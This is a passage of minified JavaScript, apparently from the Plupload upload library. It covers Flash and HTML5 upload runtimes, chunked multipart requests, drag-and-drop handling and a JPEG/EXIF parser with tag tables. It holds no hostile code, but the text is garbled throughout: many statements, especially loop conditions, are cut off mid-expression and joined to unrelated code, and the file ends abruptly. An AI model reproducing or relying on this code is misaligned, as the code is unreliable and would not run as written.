v=t.getFile(s[w]);v.status=d.DONE;t.trigger("FileUploaded",v,{response:u})});p.bind("FilesRemoved",function(t,v){var u;for(u=0;u';if(d.ua.ie){r=b.createElement("div");m.appendChild(r);r.outerHTML=q;r=null}else{m.innerHTML=q}}());function o(){return b.getElementById(n.id+"_flash")}function k(){if(h++>5000){p({success:false});return}if(g[n.id]===false){setTimeout(k,1)}}k();l=m=null;n.bind("Destroy",function(q){var r;d.removeAllEvents(b.body,q.id);delete g[q.id];delete a[q.id];r=b.getElementById(q.id+"_flash_container");if(r){j.removeChild(r)}});n.bind("Flash:Init",function(){var s={},r;try{o().setFileFilters(n.settings.filters,n.settings.multi_selection)}catch(q){p({success:false});return}if(g[n.id]){return}g[n.id]=true;n.bind("UploadFile",function(t,v){var w=t.settings,u=n.settings.resize||{};o().uploadFile(s[v.id],w.url,{name:v.target_name||v.name,mime:d.mimeTypes[v.name.replace(/^.+\.([^.]+)/,"$1").toLowerCase()]||"application/octet-stream",chunk_size:w.chunk_size,width:u.width,height:u.height,quality:u.quality,multipart:w.multipart,multipart_params:w.multipart_params||{},file_data_name:w.file_data_name,format:/\.(jpg|jpeg)$/i.test(v.name)?"jpg":"png",headers:w.headers,urlstream_upload:w.urlstream_upload})});n.bind("CancelUpload",function(){o().cancelUpload()});n.bind("Flash:UploadProcess",function(u,t){var v=u.getFile(s[t.id]);if(v.status!=d.FAILED){v.loaded=t.loaded;v.size=t.size;u.trigger("UploadProgress",v)}});n.bind("Flash:UploadChunkComplete",function(t,v){var w,u=t.getFile(s[v.id]);w={chunk:v.chunk,chunks:v.chunks,response:v.text};t.trigger("ChunkUploaded",u,w);if(u.status!==d.FAILED&&t.state!==d.STOPPED){o().uploadNextChunk()}if(v.chunk==v.chunks-1){u.status=d.DONE;t.trigger("FileUploaded",u,{response:v.text})}});n.bind("Flash:SelectFiles",function(t,w){var v,u,x=[],y;for(u=0;u";G.scrollTop=100;E=k.getElementById(p.id+"_html5");if(w.features.triggerDialog){j.extend(E.style,{position:"absolute",width:"100%",height:"100%"})}else{j.extend(E.style,{cssFloat:"right",styleFloat:"right"})}E.onchange=function(){o(this.files);this.value=""};F=k.getElementById(w.settings.browse_button);if(F){var z=w.settings.browse_button_hover,A=w.settings.browse_button_active,x=w.features.triggerDialog?F:G;if(z){j.addEvent(x,"mouseover",function(){j.addClass(F,z)},w.id);j.addEvent(x,"mouseout",function(){j.removeClass(F,z)},w.id)}if(A){j.addEvent(x,"mousedown",function(){j.addClass(F,A)},w.id);j.addEvent(k.body,"mouseup",function(){j.removeClass(F,A)},w.id)}if(w.features.triggerDialog){j.addEvent(F,"click",function(H){var y=k.getElementById(w.id+"_html5");if(y&&!y.disabled){y.click()}H.preventDefault()},w.id)}}});p.bind("PostInit",function(){var s=k.getElementById(p.settings.drop_element);if(s){if(g){j.addEvent(s,"dragenter",function(w){var v,t,u;v=k.getElementById(p.id+"_drop");if(!v){v=k.createElement("input");v.setAttribute("type","file");v.setAttribute("id",p.id+"_drop");v.setAttribute("multiple","multiple");j.addEvent(v,"change",function(){o(this.files);j.removeEvent(v,"change",p.id);v.parentNode.removeChild(v)},p.id);s.appendChild(v)}t=j.getPos(s,k.getElementById(p.settings.container));u=j.getSize(s);if(j.getStyle(s,"position")==="static"){j.extend(s.style,{position:"relative"})}j.extend(v.style,{position:"absolute",display:"block",top:0,left:0,width:u.w+"px",height:u.h+"px",opacity:0})},p.id);return}j.addEvent(s,"dragover",function(t){t.preventDefault()},p.id);j.addEvent(s,"drop",function(u){var t=u.dataTransfer;if(t&&t.files){o(t.files)}u.preventDefault()},p.id)}});p.bind("Refresh",function(s){var t,u,v,x,w;t=k.getElementById(p.settings.browse_button);if(t){u=j.getPos(t,k.getElementById(s.settings.container));v=j.getSize(t);x=k.getElementById(p.id+"_html5_container");j.extend(x.style,{top:u.y+"px",left:u.x+"px",width:v.w+"px",height:v.h+"px"});if(p.features.triggerDialog){if(j.getStyle(t,"position")==="static"){j.extend(t.style,{position:"relative"})}w=parseInt(j.getStyle(t,"zIndex"),10);if(isNaN(w)){w=0}j.extend(t.style,{zIndex:w});j.extend(x.style,{zIndex:w-1})}}});p.bind("DisableBrowse",function(s,u){var t=k.getElementById(s.id+"_html5");if(t){t.disabled=u}});p.bind("CancelUpload",function(){if(q&&q.abort){q.abort()}});p.bind("UploadFile",function(s,u){var v=s.settings,y,t;function x(A,D,z){var B;if(File.prototype.slice){try{A.slice();return A.slice(D,z)}catch(C){return A.slice(D,z-D)}}else{if(B=File.prototype.webkitSlice||File.prototype.mozSlice){return B.call(A,D,z)}else{return null}}}function w(A){var D=0,C=0,z=("FileReader" in h)?new FileReader:null;function B(){var I,M,K,L,H,J,F,E=s.settings.url;function G(V){var T=0,N="----pluploadboundary"+j.guid(),O,P="--",U="\r\n",R="";q=new XMLHttpRequest;if(q.upload){q.upload.onprogress=function(W){u.loaded=Math.min(u.size,C+W.loaded-T);s.trigger("UploadProgress",u)}}q.onreadystatechange=function(){var W,Y;if(q.readyState==4&&s.state!==j.STOPPED){try{W=q.status}catch(X){W=0}if(W>=400){s.trigger("Error",{code:j.HTTP_ERROR,message:j.translate("HTTP Error."),file:u,status:W})}else{if(K){Y={chunk:D,chunks:K,response:q.responseText,status:W};s.trigger("ChunkUploaded",u,Y);C+=J;if(Y.cancelled){u.status=j.FAILED;return}u.loaded=Math.min(u.size,(D+1)*H)}else{u.loaded=u.size}s.trigger("UploadProgress",u);V=I=O=R=null;if(!K||++D>=K){u.status=j.DONE;s.trigger("FileUploaded",u,{response:q.responseText,status:W})}else{B()}}}};if(s.settings.multipart&&n.multipart){L.name=u.target_name||u.name;q.open("post",E,true);j.each(s.settings.headers,function(X,W){q.setRequestHeader(W,X)});if(typeof(V)!=="string"&&!!h.FormData){O=new FormData();j.each(j.extend(L,s.settings.multipart_params),function(X,W){O.append(W,X)});O.append(s.settings.file_data_name,V);q.send(O);return}if(typeof(V)==="string"){q.setRequestHeader("Content-Type","multipart/form-data; boundary="+N);j.each(j.extend(L,s.settings.multipart_params),function(X,W){R+=P+N+U+'Content-Disposition: form-data; name="'+W+'"'+U+U;R+=unescape(encodeURIComponent(X))+U});F=j.mimeTypes[u.name.replace(/^.+\.([^.]+)/,"$1").toLowerCase()]||"application/octet-stream";R+=P+N+U+'Content-Disposition: form-data; name="'+s.settings.file_data_name+'"; filename="'+unescape(encodeURIComponent(u.name))+'"'+U+"Content-Type: "+F+U+U+V+U+P+N+P+U;T=R.length-V.length;V=R;if(q.sendAsBinary){q.sendAsBinary(V)}else{if(n.canSendBinary){var S=new Uint8Array(V.length);for(var Q=0;Qv.chunk_size&&(n.chunks||typeof(A)=="string")){H=v.chunk_size;K=Math.ceil(u.size/H);J=Math.min(H,u.size-(D*H));if(typeof(A)=="string"){I=A.substring(D*H,D*H+J)}else{I=x(A,D*H,D*H+J)}L.chunk=D;L.chunks=K}else{J=u.size;I=A}if(s.settings.multipart&&n.multipart&&typeof(I)!=="string"&&z&&n.cantSendBlobInFormData&&n.chunks&&s.settings.chunk_size){z.onload=function(){G(z.result)};z.readAsBinaryString(I)}else{G(I)}}B()}y=c[u.id];if(n.jpgresize&&s.settings.resize&&/\.(png|jpg|jpeg)$/i.test(u.name)){d.call(s,u,s.settings.resize,/\.png$/i.test(u.name)?"image/png":"image/jpeg",function(z){if(z.success){u.size=z.data.length;w(z.data)}else{if(n.chunks&&s.settings.chunk_size){w(y)}else{l(y,w)}}})}else{if(!n.chunks&&n.jpgresize){l(y,w)}else{w(y)}}});p.bind("Destroy",function(s){var u,v,t=k.body,w={inputContainer:s.id+"_html5_container",inputFile:s.id+"_html5",browseButton:s.settings.browse_button,dropElm:s.settings.drop_element};for(u in w){v=k.getElementById(w[u]);if(v){j.removeAllEvents(v,s.id)}}j.removeAllEvents(k.body,s.id);if(s.settings.container){t=k.getElementById(s.settings.container)}t.removeChild(k.getElementById(w.inputContainer))});r({success:true})}});function b(){var q=false,o;function r(t,v){var s=q?0:-8*(v-1),w=0,u;for(u=0;u>Math.abs(s+v*8))&255)}n(x,t,w)}return{II:function(s){if(s===e){return q}else{q=s}},init:function(s){q=false;o=s},SEGMENT:function(s,u,t){switch(arguments.length){case 1:return o.substr(s,o.length-s-1);case 2:return o.substr(s,u);case 3:n(t,s,u);break;default:return o}},BYTE:function(s){return r(s,1)},SHORT:function(s){return r(s,2)},LONG:function(s,t){if(t===e){return r(s,4)}else{p(s,t,4)}},SLONG:function(s){var t=r(s,4);return(t>2147483647?t-4294967296:t)},STRING:function(s,t){var u="";for(t+=s;s=65488&&p<=65495){n+=2;continue}if(p===65498||p===65497){break}q=r.SHORT(n+2)+2;if(u[p]&&r.STRING(n+4,u[p].signature.length)===u[p].signature){t.push({hex:p,app:u[p].app.toUpperCase(),name:u[p].name.toUpperCase(),start:n,length:q,segment:r.SEGMENT(n,q)})}n+=q}r.init(null);return{headers:t,restore:function(y){r.init(y);var w=new f(y);if(!w.headers){return false}for(var x=w.headers.length;x>0;x--){var z=w.headers[x-1];r.SEGMENT(z.start,z.length,"")}w.purge();n=r.SHORT(2)==65504?4+r.SHORT(4):2;for(var x=0,v=t.length;x=z.length){break}}},purge:function(){t=[];r.init(null)}}}function a(){var q,n,o={},t;q=new b();n={tiff:{274:"Orientation",34665:"ExifIFDPointer",34853:"GPSInfoIFDPointer"},exif:{36864:"ExifVersion",40961:"ColorSpace",40962:"PixelXDimension",40963:"PixelYDimension",36867:"DateTimeOriginal",33434:"ExposureTime",33437:"FNumber",34855:"ISOSpeedRatings",37377:"ShutterSpeedValue",37378:"ApertureValue",37383:"MeteringMode",37384:"LightSource",37385:"Flash",41986:"ExposureMode",41987:"WhiteBalance",41990:"SceneCaptureType",41988:"DigitalZoomRatio",41992:"Contrast",41993:"Saturation",41994:"Sharpness"},gps:{0:"GPSVersionID",1:"GPSLatitudeRef",2:"GPSLatitude",3:"GPSLongitudeRef",4:"GPSLongitude"}};t={ColorSpace:{1:"sRGB",0:"Uncalibrated"},MeteringMode:{0:"Unknown",1:"Average",2:"CenterWeightedAverage",3:"Spot",4:"MultiSpot",5:"Pattern",6:"Partial",255:"Other"},LightSource:{1:"Daylight",2:"Fliorescent",3:"Tungsten",4:"Flash",9:"Fine weather",10:"Cloudy weather",11:"Shade",12:"Daylight fluorescent (D 5700 - 7100K)",13:"Day white fluorescent (N 4600 -5400K)",14:"Cool white fluorescent (W 3900 - 4500K)",15:"White fluorescent (WW 3200 - 3700K)",17:"Standard light A",18:"Standard light B",19:"Standard light C",20:"D55",21:"D65",22:"D75",23:"D50",24:"ISO studio tungsten",255:"Other"},Flash:{0:"Flash did not fire.",1:"Flash fired.",5:"Strobe return light not detected.",7:"Strobe return light detected.",9:"Flash fired, compulsory flash mode",13:"Flash fired, compulsory flash mode, return light not detected",15:"Flash fired, compulsory flash mode, return light detected",16:"Flash did not fire, compulsory flash mode",24:"Flash did not fire, auto mode",25:"Flash fired, auto mode",29:"Flash fired, auto mode, return light not detected",31:"Flash fired, auto mode, return light detected",32:"No flash function",65:"Flash fired, red-eye reduction mode",69:"Flash fired, red-eye reduction mode, return light not detected",71:"Flash fired, red-eye reduction mode, return light detected",73:"Flash fired, compulsory flash mode, red-eye reduction mode",77:"Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected",79:"Flash fired, compulsory flash mode, red-eye reduction mode, return light detected",89:"Flash fired, auto mode, red-eye reduction mode",93:"Flash fired, auto mode, return light not detected, red-eye reduction mode",95:"Flash fired, auto mode, return light detected, red-eye reduction mode"},ExposureMode:{0:"Auto exposure",1:"Manual exposure",2:"Auto bracket"},WhiteBalance:{0:"Auto white balance",1:"Manual white balance"},SceneCaptureType:{0:"Standard",1:"Landscape",2:"Portrait",3:"Night scene"},Contrast:{0:"Normal",1:"Soft",2:"Hard"},Saturation:{0:"Normal",1:"Low saturation",2:"High saturation"},Sharpness:{0:"Normal",1:"Soft",2:"Hard"},GPSLatitudeRef:{N:"North latitude",S:"South latitude"},GPSLongitudeRef:{E:"East longitude",W:"West longitude"}};function p(u,C){var w=q.SHORT(u),z,F,G,B,A,v,x,D,E=[],y={};for(z=0;z4){x=q.LONG(x)+o.tiffHeader}for(F=0;F4){x=q.LONG(x)+o.tiffHeader}y[G]=q.STRING(x,A-1);continue;case 3:if(A>2){x=q.LONG(x)+o.tiffHeader}for(F=0;F1){x=q.LONG(x)+o.tiffHeader}for(F=0;F